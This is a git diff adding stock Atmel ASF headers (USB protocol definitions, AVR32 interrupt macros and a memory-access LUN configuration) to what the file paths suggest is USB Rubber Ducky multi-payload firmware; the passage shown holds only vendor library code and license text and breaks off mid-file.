a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/usb_protocol.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/usb_protocol.h new file mode 100644 index 0000000..ec30cec --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/usb_protocol.h @@ -0,0 +1,403 @@ +/** + * \file + * + * \brief USB protocol definitions. + * + * This file contains the USB definitions and data structures provided by the + * USB 2.0 specification. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_PROTOCOL_H_ +#define _USB_PROTOCOL_H_ + +#include "usb_atmel.h" + +/** + * \ingroup usb_group + * \defgroup usb_protocol_group USB Protocol Definitions + * + * This module defines constants and data structures provided by the USB + * 2.0 specification. + * + * @{ + */ + +//! Value for field bcdUSB +#define USB_V2_0 0x0200 //!< USB Specification version 2.00 + +/*! \name Generic definitions (Class, subclass and protocol) + */ +//! @{ +#define NO_CLASS 0x00 +#define NO_SUBCLASS 0x00 +#define NO_PROTOCOL 0x00 +//! @} + +//! \name IAD (Interface Association Descriptor) constants +//! @{ +#define CLASS_IAD 0xEF +#define SUB_CLASS_IAD 0x02 +#define PROTOCOL_IAD 0x01 +//! @} + +//! \name Apple VID & PID for host application +//! @{ +#define USB_VID_APPLE 0x05AC +#define USB_PID_IPOD 0x1200 +#define USB_PID_IPOD_SHUFFLE 0x1300 +//! @} + +/** + * \brief USB request data transfer direction (bmRequestType) + */ +#define USB_REQ_DIR_OUT (0<<7) //!< Host to device +#define USB_REQ_DIR_IN (1<<7) //!< Device to host +#define USB_REQ_DIR_MASK (1<<7) //!< Mask + +/** + * \brief USB request types (bmRequestType) + */ +#define USB_REQ_TYPE_STANDARD (0<<5) //!< Standard request +#define USB_REQ_TYPE_CLASS (1<<5) //!< Class-specific request +#define USB_REQ_TYPE_VENDOR (2<<5) //!< Vendor-specific request +#define USB_REQ_TYPE_MASK (3<<5) //!< Mask + +/** + * \brief USB recipient codes (bmRequestType) + */ +#define USB_REQ_RECIP_DEVICE (0<<0) //!< Recipient device +#define USB_REQ_RECIP_INTERFACE (1<<0) //!< Recipient interface +#define USB_REQ_RECIP_ENDPOINT (2<<0) //!< Recipient endpoint +#define USB_REQ_RECIP_OTHER (3<<0) //!< Recipient other +#define USB_REQ_RECIP_MASK (0x1F) //!< Mask + +/** + * \brief Standard USB requests (bRequest) + */ +enum usb_reqid { + USB_REQ_GET_STATUS = 0, + USB_REQ_CLEAR_FEATURE = 1, + USB_REQ_SET_FEATURE = 3, + USB_REQ_SET_ADDRESS = 5, + USB_REQ_GET_DESCRIPTOR = 6, + USB_REQ_SET_DESCRIPTOR = 7, + USB_REQ_GET_CONFIGURATION = 8, + USB_REQ_SET_CONFIGURATION = 9, + USB_REQ_GET_INTERFACE = 10, + USB_REQ_SET_INTERFACE = 11, + USB_REQ_SYNCH_FRAME = 12, +}; + +/** + * \brief Standard USB device status flags + * + */ +enum usb_device_status { + USB_DEV_STATUS_BUS_POWERED = 0, + USB_DEV_STATUS_SELF_POWERED = 1, + USB_DEV_STATUS_REMOTEWAKEUP = 2 +}; + +/** + * \brief Standard USB Interface status flags + * + */ +enum usb_interface_status { + USB_IFACE_STATUS_RESERVED = 0 +}; + +/** + * \brief Standard USB endpoint status flags + * + */ +enum usb_endpoint_status { + USB_EP_STATUS_HALTED = 1, +}; + +/** + * \brief Standard USB device feature flags + * + * \note valid for SetFeature request. + */ +enum usb_device_feature { + USB_DEV_FEATURE_REMOTE_WAKEUP = 1, //!< Remote wakeup enabled + USB_DEV_FEATURE_TEST_MODE = 2, //!< USB test mode + USB_DEV_FEATURE_OTG_B_HNP_ENABLE = 3, + USB_DEV_FEATURE_OTG_A_HNP_SUPPORT = 4, + USB_DEV_FEATURE_OTG_A_ALT_HNP_SUPPORT = 5 +}; + +/** + * \brief Test Mode possible on HS USB device + * + * \note valid for USB_DEV_FEATURE_TEST_MODE request. + */ +enum usb_device_hs_test_mode { + USB_DEV_TEST_MODE_J = 1, + USB_DEV_TEST_MODE_K = 2, + USB_DEV_TEST_MODE_SE0_NAK = 3, + USB_DEV_TEST_MODE_PACKET = 4, + USB_DEV_TEST_MODE_FORCE_ENABLE = 5, +}; + +/** + * \brief Standard USB endpoint feature/status flags + */ +enum usb_endpoint_feature { + USB_EP_FEATURE_HALT = 0, +}; + +/** + * \brief Standard USB Test Mode Selectors + */ +enum usb_test_mode_selector { + USB_TEST_J = 0x01, + USB_TEST_K = 0x02, + USB_TEST_SE0_NAK = 0x03, + USB_TEST_PACKET = 0x04, + USB_TEST_FORCE_ENABLE = 0x05, +}; + +/** + * \brief Standard USB descriptor types + */ +enum usb_descriptor_type { + USB_DT_DEVICE = 1, + USB_DT_CONFIGURATION = 2, + USB_DT_STRING = 3, + USB_DT_INTERFACE = 4, + USB_DT_ENDPOINT = 5, + USB_DT_DEVICE_QUALIFIER = 6, + USB_DT_OTHER_SPEED_CONFIGURATION = 7, + USB_DT_INTERFACE_POWER = 8, + USB_DT_OTG = 9, + USB_DT_IAD = 0x0B, +}; + +/** + * \brief Standard USB endpoint transfer types + */ +enum usb_ep_type { + USB_EP_TYPE_CONTROL = 0x00, + USB_EP_TYPE_ISOCHRONOUS = 0x01, + USB_EP_TYPE_BULK = 0x02, + USB_EP_TYPE_INTERRUPT = 0x03, + USB_EP_TYPE_MASK = 0x03, +}; + +/** + * \brief Standard USB language IDs for string descriptors + */ +enum usb_langid { + USB_LANGID_EN_US = 0x0409, //!< English (United States) +}; + +/** + * \brief Mask selecting the index part of an endpoint address + */ +#define USB_EP_ADDR_MASK 0x0f +/** + * \brief Endpoint transfer direction is IN + */ +#define USB_EP_DIR_IN 0x80 +/** + * \brief Endpoint transfer direction is OUT + */ +#define USB_EP_DIR_OUT 0x00 + +/** + * \brief Maximum length in bytes of a USB descriptor + * + * The maximum length of a USB descriptor is limited by the 8-bit + * bLength field. + */ +#define USB_MAX_DESC_LEN 255 + +/* + * 2-byte alignment requested for all USB structures. + */ +COMPILER_PACK_SET(1); + +/** + * \brief A USB Device SETUP request + * + * The data payload of SETUP packets always follows this structure. + */ +typedef struct { + uint8_t bmRequestType; + uint8_t bRequest; + le16_t wValue; + le16_t wIndex; + le16_t wLength; +} usb_setup_req_t; + +/** + * \brief Standard USB device descriptor stucture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + le16_t idVendor; + le16_t idProduct; + le16_t bcdDevice; + uint8_t iManufacturer; + uint8_t iProduct; + uint8_t iSerialNumber; + uint8_t bNumConfigurations; +} usb_dev_desc_t; + +/** + * \brief Standard USB device qualifier descriptor structure + * + * This descriptor contains information about the device when running at + * the "other" speed (i.e. if the device is currently operating at high + * speed, this descriptor can be used to determine what would change if + * the device was operating at full speed.) + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + uint8_t bNumConfigurations; + uint8_t bReserved; +} usb_dev_qual_desc_t; + + +/** + * \brief Standard USB Interface Association Descriptor structure + */ +typedef struct { + uint8_t bLength; //!< size of this descriptor in bytes + uint8_t bDescriptorType; //!< INTERFACE descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass; //!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol; //!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_association_desc_t; + + +/** + * \brief Standard USB configuration descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t wTotalLength; + uint8_t bNumInterfaces; + uint8_t bConfigurationValue; + uint8_t iConfiguration; + uint8_t bmAttributes; + uint8_t bMaxPower; +} usb_conf_desc_t; + + +#define USB_CONFIG_ATTR_MUST_SET (1 << 7) //!< Must always be set +#define USB_CONFIG_ATTR_BUS_POWERED (0 << 6) //!< Bus-powered +#define USB_CONFIG_ATTR_SELF_POWERED (1 << 6) //!< Self-powered +#define USB_CONFIG_ATTR_REMOTE_WAKEUP (1 << 5) //!< remote wakeup supported + +#define USB_CONFIG_MAX_POWER(ma) (((ma) + 1) / 2) //!< Max power in mA + +/** + * \brief Standard USB association descriptor structure + */ +typedef struct { + uint8_t bLength; //!< Size of this descriptor in bytes + uint8_t bDescriptorType; //!< Interface descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass; //!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol; //!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_iad_desc_t; + +/** + * \brief Standard USB interface descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bInterfaceNumber; + uint8_t bAlternateSetting; + uint8_t bNumEndpoints; + uint8_t bInterfaceClass; + uint8_t bInterfaceSubClass; + uint8_t bInterfaceProtocol; + uint8_t iInterface; +} usb_iface_desc_t; + +/** + * \brief Standard USB endpoint descriptor stcuture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bEndpointAddress; + uint8_t bmAttributes; + le16_t wMaxPacketSize; + uint8_t bInterval; +} usb_ep_desc_t; + + +/** + * \brief A standard USB string descriptor sructure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; +} usb_str_desc_t; + +typedef struct { + usb_str_desc_t desc; + le16_t string[1]; +} usb_str_lgid_desc_t; + +COMPILER_PACK_RESET(); + +//! @} + +#endif /* _USB_PROTOCOL_H_ */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/utils/interrupt.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/utils/interrupt.h new file mode 100644 index 0000000..1aa1d1d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/utils/interrupt.h @@ -0,0 +1,120 @@ +/** + * \file + * + * \brief Global interrupt management for 8- and 32-bit AVR + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UTILS_INTERRUPT_H +#define UTILS_INTERRUPT_H + +#include + +#if XMEGA +# include "interrupt/interrupt_avr8.h" +#elif UC3 +# include "interrupt/interrupt_avr32.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup interrupt_group Global interrupt management + * + * This is a driver for global enabling and disabling of interrupts. + * + * @{ + */ + +//! \name Global interrupt flags +//@{ +/** + * \typedef irqflags_t + * \brief Type used for holding state of interrupt flag + */ + +/** + * \def cpu_irq_enable + * \brief Enable interrupts globally + */ + +/** + * \def cpu_irq_disable + * \brief Disable interrupts globally + */ + +/** + * \fn irqflags_t cpu_irq_save(void) + * \brief Get and clear the global interrupt flags + * + * Use in conjunction with \ref cpu_irq_restore. + * + * \return Current state of interrupt flags. + * + * \note This function leaves interrupts disabled. + */ + +/** + * \fn void cpu_irq_restore(irqflags_t flags) + * \brief Restore global interrupt flags + * + * Use in conjunction with \ref cpu_irq_save. + * + * \param flags State to set interrupt flag to. + */ + +/** + * \fn bool cpu_irq_is_enabled_flags(irqflags_t flags) + * \brief Check if interrupts are globally enabled in supplied flags + * + * \param flags Currents state of interrupt flags. + * + * \return True if interrupts are enabled. + */ + +/** + * \def cpu_irq_is_enabled + * \brief Check if interrupts are globally enabled + * + * \return True if interrupts are enabled. + */ +//@} + +//! @} + +/** + * \ingroup interrupt_group + * \defgroup interrupt_deprecated_group Deprecated interrupt definitions + */ + +#endif /* UTILS_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/utils/interrupt/interrupt_avr32.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/utils/interrupt/interrupt_avr32.h new file mode 100644 index 0000000..45846d0 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/utils/interrupt/interrupt_avr32.h @@ -0,0 +1,310 @@ +/** + * \file + * + * \brief Global interrupt management for 32-bit AVR + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UTILS_INTERRUPT_INTERRUPT_H +#define UTILS_INTERRUPT_INTERRUPT_H + +#include +#include + +/** + * \weakgroup interrupt_group + * + * @{ + */ + +/** + * \name Interrupt Service Routine definition and registration + * + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) +# include + +/** + * \brief Define service routine + * + * With IAR, this macro defines the function as an interrupt service routine and + * causes the compiler to add initialization code for the interrupt controller + * (INTC). The interrupt group and level, as well as a valid function name are + * therefore required. + * + * With GCC, this macro only causes the function to be defined as an interrupt + * service routine, i.e., it does not add any initialization code. A valid + * function name is required for use with \ref irq_register_handler. + * + * Usage: + * \code + * ISR(foo_irq_handler, AVR32_xxx_IRQ_GROUP, n) + * { + * // Function definition + * ... + * } + * \endcode + * + * \param func Name for the function, needed by \ref irq_register_handler. + * \param int_grp Interrupt group to define service routine for. + * \param int_lvl Priority level to set for the interrupt group, in the range + * \c 0 to \c 3. + * + * \note The interrupt groups can be found in the device header files for the + * IAR toolchain (avr32/io\.h). + * + * \todo Update to use IRQ numbers when these are made available in the + * device header files of both IAR and GCC. + */ +# define ISR(func, int_grp, int_lvl) \ + __attribute__((__interrupt__)) static void func (void) + +/** + * \brief Initialize interrupt vectors + * + * With GCC, this macro adds code for initialization of the interrupt vectors + * with the driver for the interrupt controller (INTC). + * + * With IAR, this macro adds no code, since initialization of the INTC is + * handled by the compiler. + * + * This must be called prior to \ref irq_register_handler. + */ +# define irq_initialize_vectors() INTC_init_interrupts() + +/** + * \brief Register handler for interrupt + * + * With GCC, this macro adds code for registering an interrupt handler with the + * driver for the interrupt controller (INTC). + * + * With IAR, this macro adds no code, since initialization of the INTC is + * handled by the compiler. + * + * \param func Name of handler function to register for interrupt. + * \param int_num Number of the interrupt line to register function for. + * \param int_lvl Priority level to set for the interrupt's group, in the range + * \c 0 to \c 3. + * + * Usage: + * \code + * irq_initialize_vectors(); + * irq_register_handler(foo_irq_handler, AVR32_xxx_IRQ, n); + * \endcode + * + * \note The function \a func must be defined with the \ref ISR macro. + * \note The interrupt line number can be found in the device header files for + * the GCC toolchain (avr32/\.h). + */ +# define irq_register_handler(func, int_num, int_lvl) \ + INTC_register_interrupt(&func, int_num, \ + TPASTE2(AVR32_INTC_INT, int_lvl)) + +#elif defined(__ICCAVR32__) +# define ISR0(...) _Pragma(#__VA_ARGS__) +# define ISR(func, int_grp, int_lvl) \ + ISR0(handler=int_grp, int_lvl) \ + __interrupt static void func (void) +# define irq_initialize_vectors() do{ } while(0) +# define irq_register_handler(func, int_num, int_lvl) do{ } while(0) +#endif + +//@} + +#if (defined __GNUC__) +# define cpu_irq_enable() \ + do { \ + barrier(); \ + __builtin_csrf(AVR32_SR_GM_OFFSET); \ + } while (0) +# define cpu_irq_disable() \ + do { \ + __builtin_ssrf(AVR32_SR_GM_OFFSET); \ + barrier(); \ + } while (0) +#elif (defined __ICCAVR32__) +# define cpu_irq_enable() __enable_interrupt() +# define cpu_irq_disable() __disable_interrupt() +#endif + +typedef uint32_t irqflags_t; + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); + cpu_irq_disable(); + + return flags; +} + +static inline bool cpu_irq_is_enabled_flags(irqflags_t flags) +{ + return !(flags & AVR32_SR_GM_MASK); +} + +static inline void cpu_irq_restore(irqflags_t flags) +{ + barrier(); +#if defined(__ICCAVR32__) + // Barrier " __asm__ __volatile__ ("")" + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +#endif + barrier(); +} + +#define cpu_irq_is_enabled() cpu_irq_is_enabled_flags(sysreg_read(AVR32_SR)) + +//! \name Global interrupt levels +//@{ + +/** + * \brief Check if interrupt level is enabled in supplied flags + * + * \param flags State of interrupt flags. + * \param level Bit position for interrupt level. + * + * \return True if interrupt level is enabled. + */ +static inline bool cpu_irq_level_is_enabled_flags(irqflags_t flags, + uint32_t level) +{ + return !(flags & (1 << level)); +} + +/** + * \brief Check if interrupt level is enabled + * + * \param level Interrupt level (0 to 3). + * + * \return True if interrupt level \a level is enabled. + * + * \note The interrupt level must be known at compile time. + */ +#define cpu_irq_level_is_enabled(level) \ + cpu_irq_level_is_enabled_flags(sysreg_read(AVR32_SR), \ + TPASTE3(AVR32_SR_I, level, M_OFFSET)) + +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Enable interrupt level + * + * \param level Interrupt level to enable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __builtin_csrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while (0) + +/** + * \brief Disable interrupt level + * + * \param level Interrupt level to disable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_disable_level(level) \ + do { \ + __builtin_ssrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) + +#elif (defined __ICCAVR32__) +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __clear_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while(0) +# define cpu_irq_disable_level(level) \ + do { \ + __set_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) +#endif + +//@} + +//@} + +/** + * \weakgroup interrupt_deprecated_group + * @{ + */ + +#define Enable_global_interrupt() cpu_irq_enable() +#define Disable_global_interrupt() cpu_irq_disable() +#define Is_global_interrupt_enabled() cpu_irq_is_enabled() + +#define Enable_interrupt_level(level) cpu_irq_enable_level(level) +#define Disable_interrupt_level(level) cpu_irq_disable_level(level) +#define Is_interrupt_level_enabled(level) cpu_irq_level_is_enabled(level) + +/** + * \name Interrupt protection of code sections + * \note Use \ref cpu_irq_save and \ref cpu_irq_restore instead of these macros. + * @{ + */ + +/** + * \brief Start section with code protected against interrupts + */ +#define AVR32_ENTER_CRITICAL_REGION() \ + { \ + Bool global_interrupt_enabled = Is_global_interrupt_enabled(); \ + Disable_global_interrupt(); + +/** + * \brief End section with code protected against interrupts + * + * \note This macro must always be used in conjunction with + * \ref AVR32_ENTER_CRITICAL_REGION so that interrupts are enabled again. + */ +#define AVR32_LEAVE_CRITICAL_REGION() \ + if (global_interrupt_enabled) Enable_global_interrupt(); \ + } + +//@} + +//@} + +#endif /* UTILS_INTERRUPT_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_access.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_access.h new file mode 100644 index 0000000..bfffca8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_access.h @@ -0,0 +1,188 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Memory access control configuration file. + * + * This file contains the possible external configuration of the memory access + * control. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_ACCESS_H_ +#define _CONF_ACCESS_H_ + +#include "compiler.h" +#include "board.h" + + +/*! \name Activation of Logical Unit Numbers + */ +//! @{ +#define LUN_0 DISABLE //!< On-Chip Virtual Memory. +#define LUN_1 DISABLE //!< AT45DBX Data Flash. +#define LUN_2 ENABLE //!< SD/MMC Card over SPI. +#define LUN_3 DISABLE +#define LUN_4 DISABLE +#define LUN_5 DISABLE +#define LUN_6 DISABLE +#define LUN_7 DISABLE +#define LUN_USB DISABLE //!< Host Mass-Storage Memory. +//! @} + +/*! \name LUN 0 Definitions + */ +//! @{ +#define VIRTUAL_MEM LUN_0 +#define LUN_ID_VIRTUAL_MEM LUN_ID_0 +#define LUN_0_INCLUDE "virtual_mem.h" +#define Lun_0_test_unit_ready virtual_test_unit_ready +#define Lun_0_read_capacity virtual_read_capacity +#define Lun_0_wr_protect virtual_wr_protect +#define Lun_0_removal virtual_removal +#define Lun_0_usb_read_10 virtual_usb_read_10 +#define Lun_0_usb_write_10 virtual_usb_write_10 +#define Lun_0_mem_2_ram virtual_mem_2_ram +#define Lun_0_ram_2_mem virtual_ram_2_mem +#define LUN_0_NAME "\"On-Chip Virtual Memory\"" +//! @} + +/*! \name LUN 1 Definitions + */ +//! @{ +#define AT45DBX_MEM LUN_1 +#define LUN_ID_AT45DBX_MEM LUN_ID_1 +#define LUN_1_INCLUDE "at45dbx_mem.h" +#define Lun_1_test_unit_ready at45dbx_test_unit_ready +#define Lun_1_read_capacity at45dbx_read_capacity +#define Lun_1_wr_protect at45dbx_wr_protect +#define Lun_1_removal at45dbx_removal +#define Lun_1_usb_read_10 at45dbx_usb_read_10 +#define Lun_1_usb_write_10 at45dbx_usb_write_10 +#define Lun_1_mem_2_ram at45dbx_df_2_ram +#define Lun_1_ram_2_mem at45dbx_ram_2_df +#define LUN_1_NAME "\"AT45DBX Data Flash\"" +//! @} + +/*! \name LUN 2 Definitions + */ +//! @{ +#define SD_MMC_SPI_MEM LUN_2 +#define LUN_ID_SD_MMC_SPI_MEM LUN_ID_2 +#define LUN_2_INCLUDE "sd_mmc_spi_mem.h" +#define Lun_2_test_unit_ready sd_mmc_spi_test_unit_ready +#define Lun_2_read_capacity sd_mmc_spi_read_capacity +#define Lun_2_wr_protect sd_mmc_spi_wr_protect +#define Lun_2_removal sd_mmc_spi_removal +#define Lun_2_usb_read_10 sd_mmc_spi_usb_read_10 +#define Lun_2_usb_write_10 sd_mmc_spi_usb_write_10 +#define Lun_2_mem_2_ram sd_mmc_spi_mem_2_ram +#define Lun_2_ram_2_mem sd_mmc_spi_ram_2_mem +#define LUN_2_NAME "\"SD/MMC Card over SPI\"" +//! @} + +/*! \name USB LUNs Definitions + */ +//! @{ +#define MEM_USB LUN_USB +#define LUN_ID_MEM_USB LUN_ID_USB +#define LUN_USB_INCLUDE "host_mem.h" +#define Lun_usb_test_unit_ready(lun) host_test_unit_ready(lun) +#define Lun_usb_read_capacity(lun, nb_sect) host_read_capacity(lun, nb_sect) +#define Lun_usb_read_sector_size(lun) host_read_sector_size(lun) +#define Lun_usb_wr_protect(lun) host_wr_protect(lun) +#define Lun_usb_removal() host_removal() +#define Lun_usb_mem_2_ram(addr, ram) host_read_10_ram(addr, ram) +#define Lun_usb_ram_2_mem(addr, ram) host_write_10_ram(addr, ram) +#define LUN_USB_NAME "\"Host Mass-Storage Memory\"" +//! @} + +/*! \name Actions Associated with Memory Accesses + * + * Write here the action to associate with each memory access. + * + * \warning Be careful not to waste time in order not to disturb the functions. + */ +//! @{ +#if BOARD == EVK1100 + #define READ_LED LED_BI0_GREEN + #define WRITE_LED LED_BI0_RED +#elif BOARD == EVK1101 + #define READ_LED LED_MONO0_GREEN + #define WRITE_LED LED_MONO1_GREEN +#elif BOARD == EVK1104 